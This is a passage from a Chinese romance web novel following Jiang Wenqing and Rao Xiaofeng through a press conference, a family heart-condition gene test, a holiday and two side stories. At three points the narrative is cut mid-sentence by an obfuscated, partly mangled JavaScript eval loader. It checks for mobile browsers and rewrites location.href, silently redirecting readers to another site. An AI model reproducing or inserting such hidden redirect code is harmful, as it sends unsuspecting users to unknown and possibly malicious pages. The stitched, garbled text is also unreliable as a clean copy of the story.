有一阵的沉默,有记者率先发问了。 “请问,周洋先生。你是在什么时候得知姜立欧小朋友的身份的?你们是否想过争取抚养权?” “嗯,我是在姜文清先生和饶晓枫女士回到宁海市,2020年2月,才知道姜立欧小朋友的事情。关于孩子的抚养权,我们和姜文清先生和饶晓枫女士是友好协商,共同扶养。” “周骁先生。有传闻,饶晓枫是您的私生女,请问您怎么回应?” “记者朋友,这个问题,我来回答。在和饶晓枫女士确认恋爱关系之前,也就是2010年11月,我做过亲子鉴定,亲子鉴定结果提示饶晓枫女士和我的父亲没有亲子关系。我有亲子鉴定报告。请大家不要听信传言,不要以讹传讹。”周洋主动说明了情况。 “周骁先生,饶晓枫女士有您父亲遗产的继承权,是因为姜立欧小朋友的原因吗?” “我父亲是在2015年6月病逝,姜立欧是在2017年8月出生。饶晓枫女士之所以能获得遗产的继承权是因为她为我的父亲做过骨髓捐献。我父亲曾在2012年4月被诊断为骨髓增生异常综合征,部分相合的饶晓枫女士捐献了骨髓,帮助我父亲的生命延长了三年。” “姜文清先生,饶晓枫女士骨髓捐献的事情,周仕杰遗产继承的事情,您什么时候知道的?” “都是在我和我太太领取结婚证之后知道的。” “请问,姜文清先生。这两张照片是在哪里拍的?” “这两张照片分别是在X市和T市拍的。我太太去参加摩托车巡回赛,我从第三站比赛结束后加入他们,陪同她完成了最后两场比赛。” “饶晓枫女士是职业车手吗?” “并不是,她为家里牺牲了自己的爱好,和很多时间。但是,只要有时间,她会坚持自己的梦想,参加训练。今年她也以教练的身份入驻车队,继续自己的事业。我们全家都支持她。”~~ 姜文清最后宣布,记者会的结束,“很感谢大家,今天的记者会到此结束。明天3月24日,是我们大儿子姜悦寻,二儿子姜悦觅8岁生日,我们设宴酒店牡丹亭,欢迎各位见证!” 回到家里,晓枫在三楼忙着照顾孩子们睡觉,文清三步并作两步,跨上楼梯,在立欧的房间找到晓枫。 他从后面一把抱住晓枫,贴在她的脸上一个劲磨蹭。 “文清,立欧还没有睡。”晓枫欲拒还迎。 立欧调皮的拉上被子,“我马上就睡着了,你们继续。哈哈哈。” 文清把立欧的被子盖好,给了他一个晚安kiss,“Hi,bro,good night!” 立欧比了个OK的手势,眨了一下左眼,像是告诉文清,我懂了,兄弟,我马上睡。 情不知所起,一往情深! 晓枫很想跟文清聊下记者会的事情,奈何文清没有给她机会,完事以后,她又累极了,直到第二天早餐的时间,大家才围坐餐桌,复盘昨天的记者会,计划今天的生日宴。孩子们今天都请好了假,早餐时间也是惬意。 “看看市场今天的反应。”二叔是务实派。 “昨天文清表现得不错,够坦诚。”四叔第一个表扬文清,这也正是晓枫想说的话。 她后来看的小七传给她的视频,记者会上文清的言辞宛如清澈见底的溪流,真诚在每一个字里流淌,能真切地感受到他毫无保留的真心,没有丝毫的虚伪与做作,每一个词都是他内心诚挚情感的直白表达。 当文清讲到和自己有关的那些事件,声音里便不由自主地带上了一抹颤音,那是情感在话语中的自然流露。 他的眼睛里也闪烁着激动的光芒,话语变得格外富有感染力,让听到的人都能感受到他的情感温度。 如二叔所料,记者会的成功,在今天的股价上得以充分的体现。 生日宴会,文清和晓枫带着5个孩子早早来到现场,她们摆出各种角度的笑脸,满足记者们的拍照要求。 晓枫还是穿着简朴,仍是她觉得最合适最舒服的衣服,文清全程陪着她,不让她落单,以免她不适应或者感到孤单。 “怕不怕?” “不怕,有你嘛。” “累不累?” “有点,站着累。” “回去给你按摩。” “嗯。”两人在备餐的后厨,才能单独说几句话,身边满是记者和相机,今天到场的仍是相熟的记者朋友,没有人为难。 “如果不是那个记者的爆料,我不会把你和孩子们的事情公布出去。昨天原本只是公布那几年的行程,对上次做个说明,即使那样我都担心都会对你造成困扰,怕你有压力。” “我说我需要考虑,是担心你。因为这几年的事情,都跟我有关,如果他们追问,我怕你压力太大。” 文清舒了口气,“现在整个人轻松了,你不知道我昨天有多慌张。” “有吗?完全看不出来。”说着晓枫扬起下巴,一副骄傲的神情,“我只知道台上那个是我的老公,他好有魅力。” “只在台上有魅力吗?” 晓枫一抬手,就被文清抓住,“你知道就好”抓住晓枫的手往自己怀里送,“晓枫,你是我的福星!” 一切回到正轨,文清给晓枫解释过,这段时间公司的情况:公司的净资产收益率、每股盈利、以及每股净资产等财务指标都出现显著的提升。 其实都是中文,理解起来难度怎么这么大? 文清只告诉晓枫,周叔叔的钱和利息已经还了,买房买车也应该计划了。 2023年5月10日 姜婉却在考虑另外一件事,“文清,上次,你说的检查的事情,准备什么时候去做?” “什么检查?” “心脏,文枫的那个病。” 文清这才想起,一年前自己的荒唐事。 “没事,我现在没有什么感觉。” 姜婉转而跟晓枫商量这个事情,“晓枫,我跟周勇了解过文枫的病。” 一提起这个,晓枫有点紧张。“怎么了?周叔叔怎么说?” “他说这个病有遗传可能。” “遗传?所以妈妈是担心卢卡斯和奥斯卡。” “还有文清。” “文清……”晓枫若有所思,“妈妈,我知道了,我会安排他们都去做检查的。” 财气养人,姜文清最近觉得自己年轻了,精力也充沛了,脚步也轻盈了,每天晚上把晓枫揉得要生要死的。 这天晚上,刚刚兴起的文清就被晓枫打断了 “老公老公~~” “嗯。” “有事跟你说。” “做完再说。” “文清,现在说,今天必须说。” 文清从被子里探出头,“嗯,你说,如果不是什么要紧的事,待会弄死你!” 翻身靠坐在床头,晓枫也忍着腰酸背痛坐起来,“周叔叔说,文枫的病有遗传可能。” 文清一脸严肃,“遗传的概率有多大?” “如果是常染色体隐性遗传的类型,孩子有50%的概率会遗传;如果是常染色体显性遗传,因为我没有这个问题,孩子不会有,但是同父同母的兄弟有25%的概率会患病。” 文清很聪明,他侧着身子抱着晓枫,晓枫靠在他的胸前,她的爱人明显又在落泪。 “你安排吧,我和孩子们一起去做检查。” “嗯!” 周勇一切都安排的很妥当,体格检查,心电图,心脏彩超,血清电解质检测,基因检测,卢卡斯和奥斯卡也都很配合得完成检查。 宁夏因为太小,做这些检查需要全身麻醉,周叔叔建议晚一步。 针对不同亚型的基因检测时间不同,4周才能拿到结果。 文清试着找各种话题,各种游戏来分散晓枫的注意力,如果聊到这个话题,文清会握着晓枫的手,或者给她一个温暖的怀抱,让她感受到切实的陪伴和安全感。 “不管是什么结果,我们都一起面对。别自己吓自己。人也不是标准品,医学上,没有百分之百的事情。不怕,不怕!” “你老公,我是很厉害的人,我要照顾好你和孩子们,我不会轻易得病的。” “我们早做检查,可以早做预防,生活上注意一些,是可以避免病发的,周叔叔也是这样说的啊。” 晓枫有点理解文清那时准备和她一起走时的感受,爱人走了,自己就像孤岛,失去了灵动的身影。任一切在耳边呼啸,而自己将在这寂静中,守着曾经的温暖,等待着不知是否会再来的归期,独自面对日月星辰的更迭,这真残忍! 2023年6月7日 在忐忑中,姜文清度过了42岁的生日。 拿结果这天早晨,四叔开车,文清和晓枫在车后排。 车上没有任何声音,晓枫的电话铃声打破了沉默,“嗯,在路上。还有10分钟就到了。”~ “记者?为什么会有记者?”~ “在正门口吗?”~ “有多少人?”~ “医院有宣讲用的会议室吗?”~ “保安呢?有多少位?”~ “如果不走正门,还有其他通道吗?”~ “好的,我知道了。车牌号是宁A81A66。”~ “谢谢周叔叔!” 晓枫立马拨通了小七的电话,“需要你帮忙!”~ “嗯,非你不可。”~ “我们在去曼宁医院的路上,医院正门口有20多个记者,需要准备30份茶点,30份手礼,20个红包,每份1000元。”~ “我们还有10分钟到。”~ “可以,没有问题。” 放下电话,晓枫让四叔把车停在路边,“文清,你和四叔把上衣外套换一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044103|162346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你开车,一会到医院正门口,把我和四叔放下。你直接开车进医院负三层,那里需要授权,我刚把车牌号给了周叔叔,到负三层之后,找B区的安全通道,周叔叔会在那里接应你。正门口的记者交给我。” 到达医院正门口,文清停下车,晓枫和四叔从后门下车,马上就被记者团团围住,关上车门,带着口罩的文清则开车进了地下车库,按照引导进了负三层,这里是医院医护和授权车辆专用的停车场,就诊住院患者或临时车辆无法进入。 文清顺利和周勇汇合,“去我办公室吧。”文清踌躇了半天,不知道说什么。“放心吧,晓枫搞得定。” 正门口这边,晓枫和四叔在记者群中,“我是饶晓枫。” “请问下姜文清先生的身体状况~” “医院是个公共的场合,有很多病友,为了不影响大家的进出,我们准备了一间会议室,请大家移步会议室。” 医院保安立刻指引众人进了会议室,记者们的视线仍然盯在晓枫身上,“请大家不要着急,我和大家一样都是来等体检报告的。专业的事情留给专业的人,体检报告的结果请医院周院长跟大家解读。” 晓枫的手机收到信息,“都没事。”她把手机偷偷塞给四叔,只一眼,那种轻松从脚底蔓延到头顶,浑身上下都自在了。 明小七的出现,拯救了饶晓枫。“各位媒体朋友,你们辛苦了。这里有些茶点,请便!” 等待着周勇和姜文清来到会议室。姜文清一出现,记者们迅速切换工作状态, “请问下姜文清先生,检测结果怎么样?” 周勇随后步入会议室,“姜文清先生,姜悦寻小朋友,姜悦觅小朋友的基因检测结果都是阴性。” “复极延迟综合征是有遗传倾向的,请问周院长,阴性的结果如何解释?” “呈常染色体显性遗传的亚型,LQT1、LQT2,呈常染色体隐性遗传亚型,LQT5、LQT6,我们做了检测,这是常见的几种亚型。阴性的结果可以解释为,姜文枫先生的疾病属于获得性,也许是电解质紊乱,也许是心脏外伤引起,有很多可能。” “那是不是意味着,姜文清先生和他的孩子们就没有风险?” “我们仍然是谨慎的态度,希望姜文清先生和他的孩子们,关注自身身体健康,注意日常生活习惯,定期复查。” 姜文清给了饶晓枫一个眼神,饶晓枫宣布,“尊敬的各位媒体朋友,今天的记者会到此就结束了。希望大家能够依据今天记者会的实际情况进行客观、公正的报道。感谢大家的参与,这是大家的伴手礼。再次感谢大家!” 记者散去,晓枫又从小七那里拿了20个红包给周勇,希望他发给今天工作的安保人员,代为转达对他们的谢意。 周勇接过红包就继续去忙他的工作了。 小七也随即告辞,“小七,谢谢你!晚上给你电话。”小七摆摆手就走了。 只剩下四叔,文清和晓枫,他们俩再也忍不住了,拥抱在一起,“都没事”,幸福就是这么简单。 2023年7月28日 这个暑假,文清和晓枫准备带五个孩子去海边度假,邀请周洋一同前往。 周洋拒绝了,他表示自己这个电灯泡功率太大了。 “周叔叔,晚上好!” “晓枫,你好!是找周洋吗?” “不是,找叔叔你。” “找我?” “嗯,现在说话方便吗?” “方便,你说吧。” “暑假,我和文清带孩子们去海岛度假,想周洋哥一起去,他怕打扰我们拒绝了。我希望他可以去,也希望叔叔一起去。” “周洋的顾虑也是我的顾虑。” “立欧挺想你们一起去的,如果薇薇阿姨不去的话,我还想和你聊聊我的爸爸,我找到他了。” 一行九个人来到这个印度洋上的珍珠之国,除了海就是海,文清的提前安排,一切妥妥当当。 周洋和文清坐在伞下,看着晓枫和孩子们玩水。 “晓枫,越来越有女人味了。” 姜文清秒进入战斗状态,“你说什么?” 周洋指着晓枫,“说她,越来越漂亮了。” 姜文清也没有说话,他想看看周洋接下来说什么,周洋收回手指,笑了笑,“爱人如养花,一点不假。我没有遇到那个愿意为之付出生命的女人,但是我有她,为她我断了两根肋骨和右手桡骨。我的妹妹,我永远欠她一句,对不起。” 晓枫抱着嘟嘟,牵着乔治,过来换他们,她则套上衣服,去找周骁。 他们约在酒店大堂,“周叔叔,你能来,就验证了我的猜想。” “晓枫,你很聪明。” “去年6月份,为了我的事情,爸爸妈妈陪我去了一趟意大利,在佛罗伦萨遇到了爸爸。他跟我说得很隐晦,但是我猜想他提到的爱人,应该是你。” “让你见笑了。” “不会,周叔叔,我没有任何偏见。只能说,他爱上的人碰巧是个男人,无关其他。” “晓枫,如果每个人都像你这样就好了。” “我们不能左右别人怎么想,但是可以做自己的选择。” “没有那么简单,即使是现在,想不被歧视都难,何况三十年前。” “那你和薇薇阿姨结婚完全是为了商业利益吗?” “没得选,我是长子,弟弟已经离经叛道,我不能反抗我的父亲。” “后悔吗?” 周骁苦笑,“真有点。” “周叔叔,当时我和周洋哥谈恋爱的时候,你反对吗?” “不反对,但不敢不反对。” “我明白。这些都没办法重来,但是我希望你们能放过周洋哥。” “你樊阿姨和她的父母,对周洋有安排。因为你爸爸的原因,我反而对你更有偏爱。” “这都不重要了,我是希望,周叔叔可以勇敢一点,站在周洋哥身边,给他自由选择的权利。” 周骁在思考,晓枫接着说:“不仅仅是感情上的,还有事业上的。白天做着自己不喜欢的工作,晚上要面对自己不喜欢的人,周叔叔,这样的生活太残忍了。”周骁显然被这样的比喻震惊到。 晓枫继续她的表达,“在和周洋哥恋爱的那一年里,他对我很好,为了护着我,他断了两根肋骨,还有桡骨。他陪我考驾照,买车,我们一起旅行。他是那样高大自信,阳光灿烂。但是至从去了美国,他变得唯唯诺诺,没有自信。事业上他听你们的安排,感情上他不敢争取,到头来还是一无所有,我都心疼他。这么多年了,立欧的事情早就过去了,我们之间再没有嫌隙,只有亲情,我想护着他,希望他幸福。” “嗯,你说得对。我应该看清自己,也好好看看周洋,让我自己的悲剧不再在他身上重演。” “周叔叔,谢谢你和薇薇阿姨,这么多年的照顾,还有谢谢你们能喜欢立欧。” “晓枫,周叔叔应该谢谢你,周洋没福气。” “周洋哥的福气在后头,周叔叔,加油!”,两人干了一杯。喝完,两个男人带着孩子们就回来了,文清急了,“你喝的什么?” “没有酒精,只是苹果汁,柳橙汁调制的。” 周骁调笑,“看把你老公急的。” 晓枫有点尴尬得吐着舌头,“下次再喝什么提前跟你报备,行吗?” “你说到要做到。” “中午吃什么啊,老公?” “早餐的时候就安排好了,玛格丽特披萨,喜欢吗?这么馋。” 众人准备回房间洗澡换衣服,嘟嘟这会被卢卡斯抱在手里,开心得不行,“妈妈是小馋猫。” 四个哥哥异口同声,“嘟嘟是小馋猫。” 某天晚上,晓枫坐在文清的腿上,一起看度假时的照片和视频,她问,“老公,你什么时候喜欢上我的?” 文清问她,“你相不相信一见钟情?” 晓枫只“嗯”一声。“那时如果你勇敢一点,会怎么样?” 问完,没等姜文清回答,饶晓枫偎在他的耳边低语,“现在就是最好的结局!” 15.庄生晓梦[番外] 当我带着披萨回到家中,迎接我的不是晓枫的笑脸,而是一片寂静。屋子里的空气仿佛凝固了一般,一种难以言喻的空荡感弥漫在每一个角落。我翻遍每个房间,什么都没有。 除了一张字条: “文清,我和孩子们回国了。感谢这一年你的照顾!你的感情,我看得到,但是我不敢看。妈妈提醒得对,我不确定,从你眼睛里,我看到的是文清,还是文枫。怪我没有勇气去面对,辜负了你。” 我走进晓枫的卧室,清清冷冷。我轻轻地躺在晓枫的枕头上,头刚一触碰到那柔软的枕头,熟悉的桃子香味就钻进了我的鼻腔。那股香味像是一把钥匙,瞬间打开了我的闸门。那些一起欢笑、一起做饭、一起哄孩子入睡的画面,如同电影般在我的脑海中不断放映。 我静静地躺着,眼睛盯着天花板,不解的情绪如潮水般涌上心头。我开始在心里不断地问自己,到底哪里出了问题?为什么她会带着孩子们离开?为什么不敢面对?桃子的香味在空气中若有若无,仿佛是晓枫留下的最后的温柔。 梦里,我和晓枫坐在沙发上,卢卡斯与奥斯卡面对面地坐在婴儿推车里,两个小家伙正在玩照镜子的游戏呢。哥哥卢卡斯轻轻拉动了一下窗帘,就在兄弟俩的视线交汇之际,他们发出了咯咯咯的笑声,手脚也兴奋地舞动起来。哥哥又松开窗帘,窗帘隔断了他们彼此的视线,笑声也戛然而止。弟弟奥斯卡见状,便学着哥哥的模样做了起来。看着孩子们可爱的样子,我抚了抚晓枫的手,她把头靠向我,也是桃子的香味。 我起身准备出门,关心了一句:“晓枫,你能搞定他们两个家伙吗?”晓枫点点头:“可以,你去吧。我已经跟老板预订好了,培根菠萝披萨。” 我从梦中惊醒,培根菠萝披萨。我冲出卧室,下楼的脚步急促而杂乱。眉头紧皱,打开昨天买回来的披萨,原来是我买错了。 如果我买一个对的披萨回来,晓枫和孩子们应该就都在。 得出这个结论,我就去洗了个澡,换了身衣服,一身轻松,我又向那家30多公里外的披萨店驶去。 培根菠萝披萨,培根菠萝披萨……我在心里默念着,这次一定不能错。 回家来,车刚到门口,晓枫一手抱着孩子,一手推着婴儿车在门口等我。车钥匙都没有来得及拔出来,我冲下车,抱着晓枫。她有点错愕,撒娇的说:“怎么了,老公,去买个披萨的功夫就想我了。”我重重点点头。 “你抱抱奥斯卡吧,我尿急。” 我不舍的松开手,接过奥斯卡,又看了一眼睡在婴儿车里的卢卡斯。 他们都回来了。 我把婴儿车推回房间,又返回车上把披萨拿到餐桌上。从卫生间走出来的晓枫,打开披萨盒时,还兴奋的说着:“你可想死我了。” 还是那个小馋猫。 “怎么是培根菠萝披萨?” “是你说的,跟老板预订好的培根菠萝披萨。” “是我说错了,还是老板记错了?我给他打个电话问问。” 晓枫拨通了一个电话,挂掉电话,她疑惑的看着我,“老板说你拿走的是玛格丽特披萨。” 正在我们面面相觑的时候,门口有停车的声音。晓枫丢下电话,跑出门,看着姜文清带着披萨回家了。姜文清一进门就挡在晓枫面前,警惕的放下披萨,做出安抚的手势,“兄弟,不要伤害我的孩子。有事好好说。” 他转头问身后的晓枫,“这个男人是不是跟我长得一模一样?” 晓枫点点头,“嗯,他刚才拿回家一个培根菠萝披萨。” 姜文清疑惑的问:“这是你的家?” 我回他:“是的,她是饶晓枫,还有我们的两个孩子。” 姜文清愣住了,“一定是哪里出了问题。如果这是你的家……不对,这是我的家。” 我说:“我没有恶意,我们坐下说,行吗?” 姜文清再次摊开展示他的双手,“兄弟,我也没有恶意。请你一定不要伤害我的老婆和孩子们。” 我笑了笑,我爱他们都来不及。 我把手上抱着的奥斯卡递给他,他迅速接过去,交给晓枫,让晓枫赶紧先上楼。晓枫抱着奥斯卡小碎步直奔二楼。姜文清先把我安顿在餐桌旁,此时餐桌上有两盒披萨,一个培根菠萝,一个玛格丽特。 他给我倒了一杯水之后,就抱着卢卡斯上楼了。 我一口气喝完这杯凉水,试着让自己冷静下来。 大概过了20分钟,他们俩一起下楼来,走到餐桌边,我的对面坐下。 即使是在家里,姜文清仍然牵着晓枫的手。 “你是谁?”姜文清首先提问了。 “我是姜文清。”我答他。 姜文清脸上闪过一瞬惊讶,说:“还有你刚才说的晓枫,和孩子是怎么回事?” 我简单说了下我,文枫和晓枫的事情,“我弟弟2月份病逝了。是我一直照顾晓枫和两个孩子。虽然是她和我弟弟的孩子,但我当亲生的一样爱着。” 对面的晓枫流着眼泪靠向姜文清,姜文清揽着她的肩膀,安慰着她。 姜文清转向我:“这是平行时空吧。我和晓枫的爱情从一开始就和你们的不同。” 姜文清把他们的爱情故事讲与我听,原来,真的从一开始就不同。只母婴店的一眼之后,姜文清就开始追求晓枫。 “第二天上午,我又去那家母婴店,但是她不在;第三天下午再去,她还是不在。后来,我发现她只有星期天会在。盯梢那种感觉,你知道吗?有点点猥琐。” 姜文清嘴角微微上扬,带着一丝俏皮,眼睛眯成了一条缝。右手的食指和拇指缓慢地靠近,直到快要贴合,形成一个极小的圈。他一边做这个手势,一边挑了挑眉毛,对晓枫说:“就有那么一点点。” “我还蹲到过她跟小七逛街,连个奶茶都捅不开,真是个小傻瓜。”姜文清话语间充满宠溺。 “你知道吗?最难的其实是,她家里有个男人,一个20多岁的男人,一会跟我说是他哥哥,一会又说不是她哥哥。真是被她折磨得不行。我怎么可能放着她和一个男人同居,既然周洋不搬走,那我就把她拐出来,让她在我的视线范围内。” 姜文清一脸幸福。人生三愿,日月与你,不再那么抽象。 “但是因为我的出现,让她承受了很大压力,我们的年龄差,让很多同学和老师以为她是被人包养的,她还为此受了伤。” 姜文清的目光中满是疼惜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我能感受晓枫的感受,她是爱你的。你和她一起生活,一起照顾孩子,除了没有夫妻之实,你们和夫妻没有区别。如果她把你当哥哥看待,她可以一直这样下去,让你做长工,做提款机。晓枫是善良的,她不想辜负你。虽然爱是不计回报的付出,但是晓枫想要回应你,想要回应你的爱。而这种类似‘兄妹’的关系让她很为难,如果你没有给她明确的信号,没有给她信心,没有给她肯定,她不敢迈出第一步。” 听到这里,我的眼泪像决堤的洪水,终于夺眶而出。 晓枫仍然用手抚摸着我的背,“你爱晓枫吗?” “嗯”,我抬起头,用手去触碰她散落在肩头的一缕发丝,又柔又顺。 “那你应该去追她回来”,姜文清也下楼来。 我深吸一口气,坐正了身子。 “你是姜文清,你就不能这么怂,爱她就去追她回来。无论在哪个时空,姜文清一定会和饶晓枫幸福的生活在一起。” “会吗?” 姜文清继续说着,“我弟弟也是2月份病逝的,一切都是命中注定。所以我们已经给了你答案,你照着把试卷抄完就好。” 晓枫也再一次温柔耳语:“文清哥,晓枫是爱你的。勇敢点!” 姜文清拖着晓枫的手上楼了。我睡着的时候,已近天亮。 中午我准备出门,去买披萨,晓枫笑着跟我说:“文清哥,记住晓枫喜欢吃玛格丽特。” 我笑着点点头,“我不会忘记的。” 当我拿着玛格丽特回家时,晓枫走了,带着两个孩子走了。桌上有一封手写的信。 16.别带着愤怒回首[番外] 酒吧里放着《Don''t Look Back in Anger》,那节奏仿佛在撩拨着人们心底的情绪。 我坐在百合酒吧的角落,周围的热闹与我有些格格不入。 已经有四个姐妹来搭讪了,我只是轻轻摆摆手,眼神都未曾多作停留。 手中的酒,像是我此刻情绪的出口,仰头一饮而尽。 我拿出手机,拨通了黄鑫的电话:“我的小鑫鑫,我们结婚吧。” 电话那头的黄鑫声音里满是睡意朦胧,“小七,你说什么?好吵,我听不清楚。” 我站起身来,快步走向酒吧门口,深夜的风有些凉,吹得我打了个哆嗦。 我对着手机,像是要把所有的勇气都释放出来一般,扯着嗓子喊:“我说,我们结婚吧。” …… “晓枫,你能到我家里来吗?”我一边对着电话说,一边不安地用脚轻轻踢着路边的小石子。 “我马上来。”晓枫的声音很干脆。 我拦了辆出租车,告诉司机地址后,整个人像被抽空了力气一般瘫在后座上。车载电台响起了方大同的《特别的人》,那熟悉的旋律让我的心揪了起来,这是姜文清跟晓枫求婚时候唱的歌,她说这首歌特别适合告白。 适合告白吗?我怎么觉得这首歌适合告别。 听着听着,眼泪止不住地流下来,顺着脸颊滑落,打湿了衣领。 回到家,姜文清陪晓枫正等在门口。我刚一下车,脚步就有些踉跄,晓枫赶忙一个箭步冲上来,一把扶住了醉醺醺的我。 她的眉头微微皱起,眼神里满是担忧。 进了门,姜文清和晓枫耳语了几句,轻轻拍了拍晓枫的肩膀,就转身走了。 “我去给你倒杯水,喝了多少?”晓枫一边说着,一边走向厨房。 我突然伸出手,一把抓住晓枫的手,晓枫微微一怔,身体也跟着顿了一下。 “晓枫,我喝醉了,你有机会了。”我半开玩笑地说,眼神却有些迷离。 晓枫顺着我的手劲,靠近我身边,她的脸微微泛红,“宝贝儿,你真辣。” 我胃里一阵翻腾,把前一天的早餐都呕了出来,这一下,酒醒了。 我很少在晓枫脸上看到严肃的表情,我看着她,有些疑惑地问:“晓枫,姜文清怎么放心凌晨两点多把你送到别人家里来?” 晓枫还是一脸严肃,眼神坚定地看着我,“小七,你不是别人。” 我想笑,嘴角微微上扬,“没吓到你们吧?” “有一点。来的时候,如果有超速的罚单,还得你报销一下。”晓枫挑了挑眉毛,做出一副开玩笑的样子。 “晓枫,真的有事想跟你说。除了你,我想不到其他人。”我轻轻叹了口气。 “你说吧,只要不是跟我表白,其他事情,问题都不大。” 意识自己逐渐七化,晓枫笑了,那笑容和15岁刚认识她时一模一样,甜甜的。 我看着她的笑容,也跟着笑了起来。 “你这是近朱者赤。” 晓枫轻轻反驳:“我这是近墨者黑。” “晓枫,我要结婚了。”我看着她,眼神里有一丝期待她的反应。 “跟谁?”晓枫的眼睛微微睁大,脸上带着一丝好奇。 我知道晓枫的意思,国内是不支持拉拉婚姻的。 我深吸一口气,解释到:“黄鑫,一个小奶狗。” “是个男人?”晓枫似乎没有诧异之色,只是微微歪了歪头。 “是个男人。你不惊讶吗?”我有些不解地看着她。 “我好像早就知道是这样。”晓枫轻轻摇了摇头,否定了我的提问,又抛出一个新的话题。 “早就知道?”我疑惑地皱起眉头。 “原来周洋哥,就问过我。他说,如果你是个拉拉,把你想象成一个男生,那我们课间老是一起上厕所,还有那么多的身体接触,他觉得,我被占便宜了。” “你怎么回他的?”我好奇地问,身体向前倾了倾。 “小七是个女生。” 我笑出了声,身体向后靠在沙发上,“晓枫,逻辑满分,但是答非所问。” “嗯,周洋哥也是这样说我。我好像知道,你不喜欢女生,就是一种感觉。”晓枫重又坐好。 “我爱错了一个人,只能用这个理由才能留在他身边。”我低下头,双手不自觉地揪着衣角。 晓枫伸出手,握住我的手,她的手很温暖,“小七,你很勇敢。” 我摇着头,苦笑一声,“光我一个人勇敢有什么用?” “你也说,爱错了人。那是错的人,你越勇敢,做的越多,就错的越多。现在止损,就是最好的。”晓枫轻轻拍了拍我的手,像是在给我安慰。 “可是,晓枫,我花了十几年时间,才发现我错了。”我抬起头,她眼睛有些红红的。 “你后面还有几十年,找个对的人,一起努力就行了。”晓枫看着我,眼神里充满了鼓励。 “我要是能提前知道就好了。”我叹了一口气,眼睛看向别处,“可是,姜文清是怎么知道,你是对的人,一定要追你回来呢?” 晓枫笑中带着羞涩,她的脸微微泛红,“幸好他不知道。如果他提前知道娶我要花12.8亿,他就不会去肃平了。” “我觉得他还是会的。”我笑着说。 “小七,如果你跟我要月亮,我会告诉你,等我摘到了就给你。如果你跟我要永生药水,我会告诉你,等我研制出来了就给你。但是,如果你跟我要十万块,我可能就犹豫了,因为我真的有十万块。” “晓枫,你变了。” “没有。文清给了我到达这个高度的爱,我不想失去,我就得提醒我自己,保持清醒。毕竟,开始时无论多热烈的爱,都会随着时间,慢慢归于平淡。如果想长久拥有这份爱,不能一直沉浸在过去美好的回忆中或者对未来不切实际的幻想中。” 晓枫眼神里有一丝坚定,双手紧紧握在一起,“我知道,我和文清的差距,我只有让自己足够独立,足够优秀,拥有自己的精彩时,才能和他并肩前行,而不是成为他的负担。” 晓枫喝了一口水,我似乎有点心疼这个为了爱小心翼翼的她。 “晓枫,原来觉得你面对爱情的态度,是义无反顾的。现在怎么会想这么多?这是不是叫患得患失?” 晓枫摇摇头,又点点头,“如果让我再面对爱情,我还是会一头扎进去,不计后果。因为我很享受那种燃烧自己的感觉,就像摩托车赛时那种油门拧到底的感觉。” 晓枫手指在膝盖上轻轻敲着:“心理医生说我这是死本能驱动,就是想自我毁灭。但是文清给了我一种叫‘允许’的爱,允许我有不完美,允许我做错事,允许我做各种尝试,允许我慢慢探索成长的空间。其实我是很轻松自在的。” 晓枫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051546|162346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽了张纸巾,擦了擦脸,“聊文清干什么?说回你的事情。” 我笑了笑,一如从前,聊天聊着就找不到主题了。 聊回我,想到那个男人,我又愤怒了:“我也傻,明知道没有结果,也是一头扎进去。晓枫,我的晓枫,那个男人,他大我19岁,有家庭的。” 晓枫生气了:“知三当三就是你活该。” “不是,晓枫,我认识他时,我还喊他‘叔叔’。他是我爸爸的好兄弟,他从小看着我长大的。明明是禁忌的感情,但是我很享受,他带我去尝试很多新的餐厅,带我去参加酒会,教我很多东西。” 晓枫瞪大了眼睛,等着我继续说,“当我意识到自己对他有非分之想的时候,怕他有顾虑,我就麻痹自己,‘我不喜欢男人’,‘我喜欢女人’……时间久了,连我自己都相信了。后来,你知道的,‘我不嫌君老,嫂子比我小’。” 我们都笑起来,笑中带泪。 “他们有了孩子之后,母婴店是对他敞开的,我还亲自给他们送货上门。还有秦姐,也是我跑了好多家政中心、月子中心,给他们选的育儿嫂。” 我比划着:“掏心掏肺,每一份付出都像投入黑暗深渊的石子,连个响都听不到。” 自我怀疑如同毒刺,扎得我越来越痛。 晓枫握着我的手:“如果我是你,我也会很伤心。真心,是很珍贵的。这不是你的错,小七。虽然现在感觉很糟糕,但这也让你看清了他,以后就不必浪费心力在这种不值得的人身上。” 我哭的很大声:“我刚才跟黄鑫打电话,跟他求婚了,我会不会又选错了?” 晓枫揉着我的头,“还有其他男人可以选吗?” 我抬头看着她:“什么意思?” 晓枫递给我一张纸巾,“如果你的手机通讯录里面,不止黄鑫一个人,你选他,自有你的理由。遵从你的内心,走下去。” 我们同时擦了擦眼泪,晓枫接着说:“我们都一样,不撞南墙不回头,不到黄河不死心。” 我们同时笑了起来。 “晓枫,你知不知道,我为什么选你做闺蜜?” “因为我们很像吧!” “不是,正好相反。我选你做闺蜜,就是因为你长相没有我出众,身材没有我好,智商也没有我高。” 